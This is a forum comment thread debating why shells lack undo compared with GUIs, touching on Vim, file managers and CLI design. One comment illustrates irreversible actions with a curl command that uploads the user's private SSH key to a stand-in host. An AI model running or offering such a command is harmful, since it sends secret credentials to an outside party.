5 ms·
This is terrific. But... GUIs support the concept of undo. It would be great if all shells indicated the command to undo what you just did, and you could turn
by xrd 6y ago
This is terrific.
But...
GUIs support the concept of undo. It would be great if all shells indicated the command to undo what you just did, and you could turn off that warning message with an environment variable.
And, almost none of these work in the Windows command prompt. I've tried powershell and while there are some great ideas, nothing behaves as I would expect after using bash for 20+ years.
These are the reasons people use the GUI. Without acknowledgement of that, this readme loses some of it's lustre.
- gpanders 6y agoUndoing isn’t a feature of a GUI though, but rather running in a context that maintains history/state. There’s no reason a command line program couldn’t do something like this in theory.
- bch 6y agoNo need to be abstract and think of “theory”. Vim for example has undo.
- hsitz 6y agoYep, Vim is the first thing to come to mind. I'm not sure there's any program with better undo-ability. I also am not quite sure what the post above means by "GUIs support undo". Yes, most apps,e g., on Windows, support CTRL-Z for undo. But this functionality depends on each app implementing its own undo, nothing OS-wide, and results will vary. I'm not sure what there is in GUIs that supports "undo" other than an app/user convention like CTRL-Z, which hardly seems to rise to the level of "supports undo".
- lupire 6y agoIt's been 50 years. Why doesn't bash in a friendly system like Ubuntu have undo for mv.
- calvinmorrison 6y agoalias undo=mv $2 $1
- dyingkneepad 6y agoDoesn't work if the first move overwrote a file, or if $2 is a directory.
- anthk 6y agoBecause that's not bash' job.
- aidenn0 6y agoYou can't undo a file-move in (most?) GUI file managers either.
- inb4_cancelled 6y agomacOS and AFAIK Windows have that
- d110af5ccf 6y agoWindows Explorer, macOS Finder, KDE Dolphin, and GNOME Nautilus all beg to differ. The issue is that tasks on the CLI tend to be split between many different utilities. So you'd either need a standardized method for sharing an undo tree between the different utilities, or alternatively to integrate all the different tasks under a single program.
- aidenn0 6y agoI didn't see how this could work in the general case and indeed it doesn't on dolphin. Consider this folder tree: + foo +- bar.txt + bar +- bar.txt Moving the foo/bar.txt to bar/ in Dolphin then undoing leaves you with an empty bar/
- d110af5ccf 6y ago
- sellyme 6y ago> There’s no reason a command line program couldn’t do something like this in theory. Which makes it all the more infuriating to the user that they don't.
- hnjst 6y agoThere are plenty of commands that essentially cannot be undone. Let's consider `curl --upload-file ~/.ssh/id_rsa https://dontworry.youllundothat.tk https://dontworry.youllundothat.tk` for example. Even when it's doable, some of us prefer to risk unrecoverable mistakes if it avoids having to take an extra step for the command we launched to be effective. I don't want to "empty a bin" after a `rm`, I want free disk space, and yeah, it could be almost impossible to undo. I understand that safeguards around destructive actions or actions cancellation can help UX, however at some point you can't make an omelet without breaking eggs.